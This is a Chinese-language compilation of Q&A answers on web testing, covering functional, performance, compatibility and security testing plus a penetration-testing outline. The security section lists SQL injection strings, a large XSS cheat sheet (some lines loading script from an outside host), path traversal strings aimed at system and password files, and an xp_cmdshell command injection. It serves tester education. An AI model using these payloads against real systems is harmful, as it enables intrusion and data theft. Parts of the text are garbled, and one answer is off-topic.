安全性測試web_Web測試的主要內容和測試方法有哪些

A. 如何進行WEB安全性測試

安全性測試主要從以下方面考慮主要從以下方面考慮： WEB 的安全性測試主要從以下方面考慮： Injection(sql 注入) 1.SQL Injection(SQL 注入) (1)如何進行 SQL 注入測試? 首先找到帶有參數傳遞的 URL 頁面,如搜索頁面,登錄頁面,提交評論頁面等等. 注 1:對於未明顯標識在 URL 中傳遞參數的,可以通過查看 HTML 源代碼中的 "FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個參數傳遞都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其次,在 URL 參數或表單中加入某些特殊的 SQL 語句或 SQL 片斷,如在登錄頁面的 URL 中輸入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根據實際情況,SQL 注入請求可以使用以下語句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：為什麼是 OR，以及',――是特殊的字元呢？例子：在登錄時進行身份驗證時，通常使用如下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如輸入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 語句會變成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將按下一個查詢條件來執行. 接下來是 OR 查詢條件,OR 是一個邏輯運算符，在判斷多個條件的時候，只要一個成立，則等式就成立，後面的 AND 就不再時行判斷了，也就是說我們繞過了密碼驗證，我們只用用戶名就可以登錄. 如輸入 http://ck/index.asp?username=admin'--&pwd=11，SQL 語 admin'-admin'-11 句會變成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將按下一個查詢條件來執行接下來是"--"查詢條件,「--」是忽略或注釋,上述通過連接符注釋掉後面的密碼驗證(注:對 ACCESS 資料庫資料庫無效). 最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器的相關信息;如果能說明存在 SQL 安全漏洞. 試想,如果網站存在 SQL 注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結構,並對資料庫表進行增\刪\改的操作,這樣造成的後果是非常嚴重的. (2)如何預防 SQL 注入? 從應用程序的角度來講,我們要做以下三項工作工作: 工作轉義敏感字元及字元串(SQL 的敏感字元包括「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」, 和」空格」). 屏蔽出錯信息：阻止攻擊者知道攻擊的結果在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端拒絕進行關鍵性的處理操作. 從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗以下幾項安全性問題: 需求中應說明表單中某一 FIELD 的類型,長度,以及取值范圍(主要作用就是禁止輸入敏感字元) 需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序應給出不包含任何代碼或資料庫信息的錯誤提示. 當然在執行測試的過程中,我們也需求對上述兩項內容進行測試. 2.Crossscritping(XSS):(跨站點腳本攻擊跨站點腳本攻擊) 2.Cross-site scritping(XSS):(跨站點腳本攻擊) (1)如何進行 XSS 測試? 首先,找到帶有參數傳遞的 URL,如交評論,發表留言頁面等等。登錄頁面,搜索頁面,提 其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 測試語句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< 因為「\n」是新行，如果在 subject 中輸入「hello\ncc:[email protected]」，可能會形成以下 Subject: hello cc: [email protected] 如果允許用戶使用這樣的其它用 subject，那他可能會給利用這個缺陷通過我們的平台給其它戶發送垃其它圾郵件。 Traversal(目錄遍歷目錄遍歷) 5.Directory Traversal(目錄遍歷) （1）如何進行目錄遍歷測試？目錄遍歷產生的原因是：程序中沒有過濾用戶輸入的「../」和「./」之類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的任意文件。測試方法： URL 中輸入一定數量的在「../」「./」驗證系統是否 ESCAPE 和，掉了這些目錄跳轉符。（2）如何預防目錄遍歷？限制 Web 應用在伺服器上的運行進行嚴格的輸入驗證，控制用戶輸入非法路徑 messages(錯誤信息錯誤信息) 6.exposed error messages(錯誤信息) （1）如何進行測試？首先找到一些錯誤頁面，比如 404,或 500 頁面。驗證在調試未開通過的情況下，是否給出了友好的錯誤提示信息比如「你訪問的頁面不存在」等，而並非曝露一些程序代碼。（2）如何預防？測試人員在進行需求檢查時，應該對出錯信息進行詳細查，比如是否給出了出錯信息，是否給出了正確的出錯信息。

B. Web測試的主要內容和測試方法有哪些

1功能測試 2 1.1鏈接測試 2 1.2表單測試 2 1.3數據校驗 3 1.4 cookies測試 3
1功能測試 2
1.1鏈接測試 2
1.2表單測試 2
1.3數據校驗 3
1.4 cookies測試 3
1.5資料庫測試 3
1.6應用程序特定的功能需求 4
1.7設計語言測試 4
2性能測試 4
2.1連接速度測試 4
2.2負載測試 4
2.3壓力測試 5
3用戶界面測試 6
3.1導航測試 6
3.2圖形測試 6
3.3內容測試 7
3.4表格測試 7
3.5整體界面測試 7
4兼容性測試 8
4.1平台測試 8
4.2瀏覽器測試 8
4.3解析度測試 8
4.4 Modem/連接速率 9
4.5列印機 9
4.6組合測試 9
5安全測試 9
5.1目錄設置 9
5.2登錄 10
5.3日誌文件 10
5.4腳本語言 10
6介面測試 10
6.1伺服器介面 10
6.2外部介面 11
6.3錯誤處理 11
7結論 11
在Web工程過程中，基於Web系統的測試、確認和驗收是一項重要而富有挑戰性的工作。基於Web的系統測試與傳統的軟體測試不同，它不但需要檢查和驗證是否按照設計的要求運行，而且還要測試系統在不同用戶的瀏覽器端的顯示是否合適。重要的是，還要從最終用戶的角度進行安全性和可用性測試。然而，Internet和Web媒體的不可預見性使測試基於Web的系統變得困難。因此，我們必須為測試和評估復雜的基於Web的系統研究新的方法和技術

C. Web測試的主要內容和測試方法有哪些

測試分類：

1、界面測試

1）給用戶的整體感：舒適感；憑感覺能找到想要找的信息；設計風格是否一致

2）各控制項的功能

2、功能測試

1）刪除/增加某一項：是否對其他項造成影響，這些影響是否都正確

2）列表默認值檢查

3）檢查按鈕功能是否正確：新建、編輯、刪除、關閉、返回、保存、導入、上一頁、下一頁、頁面跳轉、重置（常見錯誤）

4）字元串長度檢查：超出長度

5）字元類型檢查

6）標點符號檢查：空格、各種引號、Enter鍵

7）特殊字元：常見%、「、」

8）中文字元：是否亂碼

9）檢查信息完整：查看信息，查看所填信息是否完整更新；更新信息，更新信息與添加信息是否一致

10）信息重復：需唯一信息處，比如重復的名字或ID、重名是否區分大小寫、加空格

11）檢查刪除功能：不選擇任何信息，按Delete，看如何處理；選擇一個或多個進行刪除；多頁選、翻頁選刪除；刪除是否有提示

12）檢查添加和修改是否一致：添加必填項，修改也該必填；添加為什麼類型，修改也該什麼類型

13）檢查修改重名：修改時把不能重名的項改為已存在的內容

14）重復提交表單：一條已經成功提交的記錄，返回後再提交

15）檢查多次使用返回鍵：返回到原來頁面，重復多次

16）搜索檢查：存在或不存在內容，看搜索結果是否正確；多個搜索條件，同時輸入合理和不合理條件；特殊字元

17）輸入信息的位置

18）上傳下載文件檢查：功能是否實現，

上傳：上傳文件是否能打開、格式要求、系統是否有解釋信息、將不能上傳的文件格式修改後綴為可上傳的文件格式；

下載：下載是否能打開、保存、格式要求

19）必填項檢查：必填項未填寫；是否有提示，如加*；對必填項提示返回後，焦點是否自動定位到必填項

20）快捷鍵檢查：是否支持快捷鍵Ctrl+C、Ctrl+V、backspace；對不允許做輸入的欄位（如：下拉選項），對快捷方式是否也做了限制

21）Enter鍵檢查：輸入結束後按Enter鍵，系統如何處理

22）刷新鍵檢查：按瀏覽器刷新鍵如何處理

23）回退鍵檢查：按瀏覽器回退鍵如何處理

24）空格檢查：輸入項輸入一個或多個空格

25）輸入法半形全形檢查：比如，浮點型，輸入全形小數點「。」或「. 」，如4. 5；全形空格

26）密碼檢查：輸入加密方式的極限字元；密碼盡可能長

27）用戶檢查：不同種類管理員用戶的不同許可權，是否可以互相刪除、管理、編輯；一般用戶的許可權；注銷功能，老用戶注銷再注冊，是否為新用戶

28）系統數據檢查：數據隨業務過程、狀態的變化保持正確，不能因為某個過程出現垃圾數據，也不能因為某個過程而丟失數據。

29）系統可恢復性檢查：以各種方式把系統搞癱，測試系統是否可以迅速恢復

30）確認提示檢查：系統更新、刪除操作：是否有提示、取消操作；提示是否准確；事前、事後提示

31）數據注入檢查：對資料庫注入，特殊字元，對SQL語句進行破壞

32）時間日期檢查：時間、日期、時間驗證：日期范圍是否符合實際業務；對於不符合實際業務的日期是否有限制

33）多瀏覽器驗證

3、性能測試

1）壓力測試：實際破壞一個Web應用系統，測試系統的反應，測試系統的限制和故障恢復能力

2）負載測試：在某一負載級別上的性能，包括某個時刻同時訪問Web的用戶數量、在線數據處理的數量

3）強度測試：測試對象在性能行為異常或極端條件下（如資源減少或用戶過多）的可接受性，以此驗證系統軟硬體水平

4）資料庫容量測試：通過存儲過程往資料庫表中插入一定數量的數據，看是否能及時顯示

5）預期指標的性能測試：在需求分析和設計階段會提出一些性能指標，對於預先確定的性能要求要首先進行測試

6）獨立業務性能測試：對核心業務模塊做用戶並發測試，包括同一時刻進行完全一樣的操作、同一時刻使用完全一樣的功能

7）組合業務性能測試：模擬多用戶的不同操作，最接近實際用戶使用情況，按用戶實際的實際使用人數比例來模擬各個模塊的組合並發情況

8）疲勞強度性能測試：系統穩定運行情況下，以一定負載壓力來長時間運行系統的測試

9）網路性能測試：准確展示帶寬、延遲、負載、埠的變化是如何影響用戶的相應時間的

10）大數據量性能測試：實時大數據量，模擬用戶工作時的實時大數據量；極限狀態下的測試，系統使用一段時間，積累一段數據量時能否正常運行，以及對前面兩種進行結合

11）伺服器性能測試：在進行用戶並發性能測試、疲勞強度、大數據量性能測試時，完成對伺服器性能的監控，並進行評估

12）一些特殊的測試：配置測試、內存泄漏的一些特殊測試

4、可用性測試(介面測試）

1）整體界面測試

2）多媒體測試

3）導航測試

5、客戶端兼容性

平台測試：windows；unix；macintosh；linux

瀏覽器測試：不同廠商的瀏覽器對Java、Javascript、ActiveX、plug-ins或不同的HTML的規格

不同的支持；框架和層次結構在不同瀏覽器也不同的顯示

6、安全性

安全性測試要求：

1）能夠對密碼試探工具進行防範

2）能夠防範對Cookie攻擊的常用手段

3）敏感數據保證不用明文傳輸

4）能防範通過文件名猜測和查看html文件內容獲取重要信息

5）能保證在網站收到工具後在給定時間內恢復，重要數據丟失不超過1小時

web的性能測試工具：

隨著Web2.0技術的迅速發展，許多公司都開發了一些基於Web的網站服務，通常在設計開發Web應用系統的時候很難模擬出大量用戶同時訪問系統的實際情況。

因此，當Web網站遇到訪問高峰時，容易發生伺服器響應速度變慢甚至服務中斷。

為了避免這種情況，需要一種能夠真實模擬大量用戶訪問Web應用系統的性能測試工具進行壓力測試，來測試靜態HTML頁面的響應時間，甚至測試動態網頁（包括ASP、PHP、JSP等）的響應時間，為伺服器的性能優化和調整提供數據依據。

1、企業級自動化測試工具WinRunner

MercuryInteractive公司的WinRunner是一種企業級的功能測試工具，用於檢測應用程序是否能夠達到預期的功能及正常運行。

2、工業標准級負載測試工具Loadrunner

LoadRunner是一種預測系統行為和性能的負載測試工具

3、全球測試管理系統testdirector

TestDirector是業界第一個基於Web的測試管理系統，它可以在您公司內部或外部進行全球范圍內測試的管理。

4、功能測試工具RationalRobot

IBMRationalRobot是業界最頂尖的功能測試工具，它甚至可以在測試人員學習高級腳本技術之前幫助其進行成功的測試。

它集成在測試人員的桌面IBMRationalTestManager上，在這里測試人員可以計劃、組織、執行、管理和報告所有測試活動，包括手動測試報告。

這種測試和管理的雙重功能是自動化測試的理想開始。

5、單元測試工具xUnit系列

目前的最流行的單元測試工具是xUnit系列框架，常用的根據語言不同分為JUnit（java），CppUnit（C++），DUnit（Delphi），NUnit（.net），PhpUnit（Php）等等。

該測試框架的第一個和最傑出的應用就是由ErichGamma（《設計模式》的作者）和KentBeck（XP（ExtremeProgramming）的創始人）提供的開放源代碼的JUnit.

6、功能測試工具SilkTest

BorlandSilkTest2006屬於軟體功能測試工具，是Borland公司所提出軟體質量管理解決方案的套件之一。

這個工具採用精靈設定與自動化執行測試，無論是程序設計新手或資深的專家都能快速建立功能測試，並分析功能錯誤。

7、性能測試工具WAS

是由微軟的網站測試人員所開發，專門用來進行實際網站壓力測試的一套工具。

透過這套功能強大的壓力測試工具，您可以使用少量的Client端計算機模擬大量用戶上線對網站服務所可能造成的影響。

8、自動化白盒測試工具Jtest

Jtest是parasoft公司推出的一款針對java語言的自動化白盒測試工具，它通過自動實現java的單元測試和代碼標准校驗，來提高代碼的可靠性。

parasoft同時出品的還有C++test，是一款C/C++白盒測試工具。

9、功能和性能測試的工具JMeter

JMeter是Apache組織的開放源代碼項目，它是功能和性能測試的工具，100%的用java實現。

10、性能測試和分析工具WEBLOAD

webload是RadView公司推出的一個性能測試和分析工具，它讓web應用程序開發者自動執行壓力測試；webload通過模擬真實用戶的操作，生成壓力負載來測試web的性能。

(3)安全性測試web擴展閱讀：

漏洞測試

企業網站做的越來越復雜、功能越來越強。不過這些都不是憑空而來的，是通過代碼堆積起來的。如果這個代碼只供企業內部使用，那麼不會帶來多大的安全隱患。

但是如果放在互聯網上使用的話，則這些為實現特定功能的代碼就有可能成為攻擊者的目標。

天眼舉一個簡單的例子。在網頁中可以嵌入SQL代碼。而攻擊者就可以利用這些SQL代碼來發動攻擊，來獲取管理員的密碼等等破壞性的動作。

有時候訪問某些網站還需要有某些特定的控制項。用戶在安裝這些控制項時，其實就有可能在安裝一個木馬（這可能訪問者與被訪問者都沒有意識到）。

為此在為網站某個特定功能編寫代碼時，就要主動出擊。從編碼的設計到編寫、到測試，都需要認識到是否存在著安全的漏洞。

天眼在日常過程中，在這方面對於員工提出了很高的要求。各個員工必須對自己所開發的功能負責。

已知的病毒、木馬不能夠在所開發的插件中有機可乘。通過這層層把關，就可以提高代碼編寫的安全性。

D. 什麼是web安全性測試

最小最簡單的是：windows優化大師測試顯卡：3Dmark05，（如果你的電腦夠好，可以使3Dmark06）還有就是：PCmark

E. 如何進行Web滲透測試

什麼是滲透測試？

滲透測試，是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術，對目標網路、主機、應用的安全作深入的探測，發現系統最脆弱的環節。

如何進行Web滲透測試？

完整web滲透測試框架當需要測試的web應用數以千計，就有必要建立一套完整的安全測試框架，流程的最高目標是要保證交付給客戶的安全測試服務質量。

1、立項：項目建立，時間安排，人力分配，目標制定，廠商介面人確定；

系統分析&威脅分析：針對具體的web應用，分析系統架構、使用的組件、對外提供的介面等，以STRIDE為威脅模型進行對應的安全威脅分析，輸出安全威脅分析表，重點關注top3威脅；

制定測試用例：根據威脅分析的結果制定對應的測試用例，測試用例按照模板輸出，具備可執行性；

測試執行&漏洞挖掘：測試用例執行&發散測試，挖掘對應的安全問題or漏洞；

問題修復&回歸測試：指導客戶應用開發方修復安全問題or漏洞，並進行回歸測試，確保安全問題or漏洞得到修復，並且沒有引入新的安全問題；

項目總結評審：項目過程總結，輸出文檔評審，相關文檔歸檔。

2、Web應用的滲透測試流程

主要分為3個階段，分別是：信息收集→漏洞發現→漏洞利用，下面仔細分析一下各個階段流程：

一、信息收集

在信息收集階段，我們需要盡量多的收集關於目標web應用的各種信息，比如：腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面，用到的框架等

腳本語言的類型：常見的腳本語言的類型包括：php、asp、aspx、jsp等

測試方法：

1 爬取網站所有鏈接，查看後綴

2 直接訪問一個不存在頁面後面加不同的後綴測試

3 查看robots.txt，查看後綴

伺服器的類型：常見的web伺服器包括：apache、tomcat、IIS、ngnix等

測試方法：

1 查看header，判斷伺服器類型

2 根據報錯信息判斷

3 根據默認頁面判斷

目錄的結構：了解更多的目錄，可能發現更多的弱點，如：目錄瀏覽、代碼泄漏等。

測試方法

1 使用字典枚舉目錄

2 使用爬蟲爬取整個網站，或者使用google等搜索引擎獲取

3 查看robots.txt是否泄漏

使用的開源軟體：我們如果知道了目標使用的開源軟體，我們可以查找相關的軟體的漏洞直接對網站進行測試。

測試方法

指紋識別（網路上有很多開源的指紋識別工具）

資料庫類型：對於不同的資料庫有不同的測試方法。

測試方法

1 使應用程序報錯，查看報錯信息

2 掃描伺服器的資料庫埠（沒做NAT且防火牆不過濾時有效）

所有鏈接頁面：這個跟前面的獲取目錄結構類似，但是這個不只是獲取網站的所有功能頁面，有時候還可以獲取到管理員備份的源碼。

測試方法

1 使用字典枚舉頁面

2 使用爬蟲爬取整個網站，或者使用google等搜索引擎獲取

3 查看robots.txt是否泄漏

用到的框架：很多網站都利用開源的框架來快速開發網站，所以收集網站的框架信息也是非常關鍵的。

測試方法

指紋識別（網路上有很多開源的指紋識別工具）

二、漏洞發現

在這個階段我們在做測試的時候要對症下葯，不能盲目的去掃描，首先要確定目標應用是否使用的是公開的開源軟體，開源框架等、然後在做深一度的漏洞掃描。

關於開源軟體的漏洞發現

開源的軟體：常見的開源軟體有wordpress、phpbb、dedecms等

開源的框架：常見的開源框架有Struts2、 Spring MVC、ThinkPHP等

中間件伺服器：常見的中間件伺服器有jboss、tomcat、Weblogic等

資料庫服務：常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等

對於開源軟體的測試方法

1 通過指紋識別軟體判斷開源軟體的版本信息，針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試

2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作

3 使用開源的漏洞發現工具對其進行漏洞掃描，如：WPScan

關於自主開發的應用

手動測試：這個階段，我們需要手工測試所有與用戶交互的功能，比如：留言、登入、下單、退出、退貨、付款等操作

軟體掃描：使用免費的軟體掃描，如：appscan、wvs、netsparker，burp等

可能存在的漏洞

Owasp關鍵點

代碼安全之上傳文件

代碼安全之文件包含

代碼安全之SSRF

邏輯漏洞之密碼重置

邏輯漏洞之支付漏洞

邏輯漏洞之越權訪問

平台安全之中間件安全

三、漏洞利用

針對不同的弱點有不同的漏洞利用方式，需要的知識點也比較多。一般這個階段包括兩種方式，一種是手工測試，一種是工具測試

手工測試

手工測試是通過客戶端或伺服器訪問目標服務，手工向目標程序發送特殊的數據，包括有效的和無效的輸入，觀察目標的狀態、對各種輸入的反應，根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具，可由測試者獨立完成，實現起來比較簡單。但這種方法高度依賴於測試者，需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。

這種方式對於有特殊過濾等操作，或者網路上沒有成型的利用工具的時候可以使用。

工具測試

網路上有很多好用的免費利用工具，比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。

F. WEB伺服器安全滲透性測試方案

http://hi..com/zh2089/blog/category/%B1%BE%C8%CB%D4%AD%B4%B4
本人博客的幾篇原創文章，裡面有一些實例，LZ覺得可以的話請給最佳答案

G. 如何進行WEB安全性測試

一般來說，一個WEB應用包括WEB伺服器運行的操作系統、WEB伺服器、WEB應用邏輯、資料庫幾個部分，其中任何一個部分出現安全漏洞，都會導致整個系統的安全性問題。
對操作系統來說，最關鍵的操作系統的漏洞，Windows上的RPC漏洞、緩沖區溢出漏洞、安全機制漏洞等等；
對WEB伺服器來說，WEB伺服器從早期僅提供對靜態HTML和圖片進行訪問發展到現在對動態請求的支持，早已是非常龐大的系統。
對應用邏輯來說，根據其實現的語言不同、機制不同、由於編碼、框架本身的漏洞或是業務設計時的不完善，都可能導致安全上的問題。
對WEB的安全性測試是一個很大的題目，首先取決於要達到怎樣的安全程度。不要期望網站可以達到100%的安全，須知，即使是美國國防部，也不能保證自己的網站100%安全。對於一般的用於實現業務的網站，達到這樣的期望是比較合理的：
1、能夠對密碼試探工具進行防範；
2、能夠防範對cookie攻擊等常用攻擊手段；
3、敏感數據保證不用明文傳輸；
4、能防範通過文件名猜測和查看HTML文件內容獲取重要信息；
5、能保證在網站收到工具後在給定時間內恢復，重要數據丟失不超過1個小時；

H. web安全測試個人閱讀心得

文章中提到的東西都是工作中實踐過的經驗,並不保證全面性.
Web測試一般包含如下內容:
功能測試
性能測試
用戶界面測試
兼容性測試
安全性測試
其實這只是大概的區分,各種不同的類別的測試之間其實是有很多交集的.比如:
當網站出現性能問題的時候,同時網站的某些功能可能會失效,比如頁面打開失敗,表單提交失敗等等
當網站在一個它不兼容的瀏覽器下運行的時候,也會導致功能失效,用戶界面出現混亂,甚至性能問題
以上的五項內容中的每一項都可以是一個大的主題做深入的分析.

另外,對於所有的web測試人員來說,學會使用Firebug以及Fiddler這樣的抓包工具絕對是必不可少的。這些工具的使用應該始終貫穿的測試工作之中

一.功能測試
對於一般被測試的軟體,我可以用"樹"來比喻一個軟體.一顆樹有主幹,分支和葉子.主幹和分支代表軟體的流程,葉子代表軟體的局部步驟(頁面). 我們測試軟體的時候既要保證軟體的流程正確,也要保證組成流程的各個分支步驟頁面的正確性.
拿淘寶來購物來說,我們可以把登錄頁面,購物車頁面之類的當成是葉子,完成一個購物流程,當成一個主幹或者分支. 軟體就是由這很多的葉子以及相對少一些的分支組成.
經典的教科書上往往會介紹如下功能測試測試用例的設計方法:
邊界值劃分
等價類
正交表
決策表
當我們測試單個頁面的時候,往往會用到這些方法.但是這些方法只是測試到了軟體的局部.
除此之外,我們還要考慮被測試軟體的工作流程,保證所有的提供給用戶的工作流程都可以跑通,這個時候,探索式測試可以派上用場.有時候,我們還需要化流程圖來輔助測試.
關於探索式測試,詳見探索式測試讀書筆記一文

另外，還有更重要的幾點：
每當打開頁面或者提交數據的時候，多打開Fiddler或者Firebug看看到底發送了哪些http請求,以及關鍵請求的http response是什麼.當發現功能異常之後,根據我們用Fiddler看到的數據,往往可以自己判斷問題到底是出在前台的JS還是後台service. 關於Fiddler,詳見Fiddler小結一文
有空多看看系統的日誌,哪裡能找到一些隱藏在頁面之外的異常
當我們在頁面上完成了一些功能之後,要徹底明白系統背後(資料庫)到底完成了什麼東西,我們提交的數據到底被存儲到哪裡去了
綜上所述,我們做功能測試的總體思路是從點(樹葉)->面(主幹,分支)->後台(根)

二.性能測試
性能測試主要要從前端和後台兩個角度去理解,我們可以首先使用Fiddler去大概判斷網站的性能問題是出在前台還是後台.
如果Http請求的大部分時間是花在html,css,js之類的靜態資源載入上,那麼基本是前台性能有問題.如果某個後台的service特別費時,那麼後台必定存在性能問題

前台性能
除了用Fiddler看性能外,我們可以使用Yahoo的Firefox YSlow插件去檢測前端的性能.此外,關於前端性能具體的優化策略,可以參閱<High Performance Web Sites>,其中主要涉及到http協議和瀏覽器緩存機制
詳見Web前端優化14條原則一文
後台性能
對於大部分測試工程師來說是很難直接去優化後台性能的,但是依然能去發現一些有意義的線索
用Fiddler去查看http請求,如果某個請求特別耗時,則可能存在性能問題
後台代碼設計到SQL查詢的時候,往往測試員也是有基礎去測試那些SQL的查詢時間和執行時間,如果因為數據量大而導致查詢太慢的話,可以建議使用資料庫的索引
後台的cache機制: 我們的項目大量的使用了後台的cache機制
總之,做性能測試絕對不是簡單地直接拿Loadrunner或者Jmeter去錄制一下腳本,然後運行,分析結果.這一切的前提應該是充分了解了被測試系統的前台跟後台的性能

三.用戶界面測試
這點關注不多，主要如下：
字體大小顏色(主要通過修改css文件)
彈窗的風格最好保持統一
四,兼容性測試
主要考慮如下幾個因素組合：
不同的操作系統
不同的瀏覽器
瀏覽器的不同版本
顯示器的不同解析度
不同的瀏覽設備（PC，手機，平板）
五.安全性測試
安全性測試主要知道有如下幾點:
SQL注入:後台使用Preparedstatement去處理SQL

XSS攻擊:這個問題非常復雜.學習中..
做為一個測試工程師,我覺得應該記住如下3點:
前台的JS驗證是不可靠的
用戶進行任何輸入都是有可能的
Web本身似乎也是不安全的:無法解釋更多....
接下去舉一些實際的例子:
隱藏的按鈕
當我們用Firebug看頁面的HTML的時候,往往能找到一些隱藏的內容,比如某個元素的 class="gradient hide",或者類似的東西.當我們直接修改掉這些屬性之後,這些隱藏的東西就會在頁面上暴露出來,對系統的安全造成隱患.
另外如果有某些值也可能會存儲在隱藏域中
Disabled按鈕
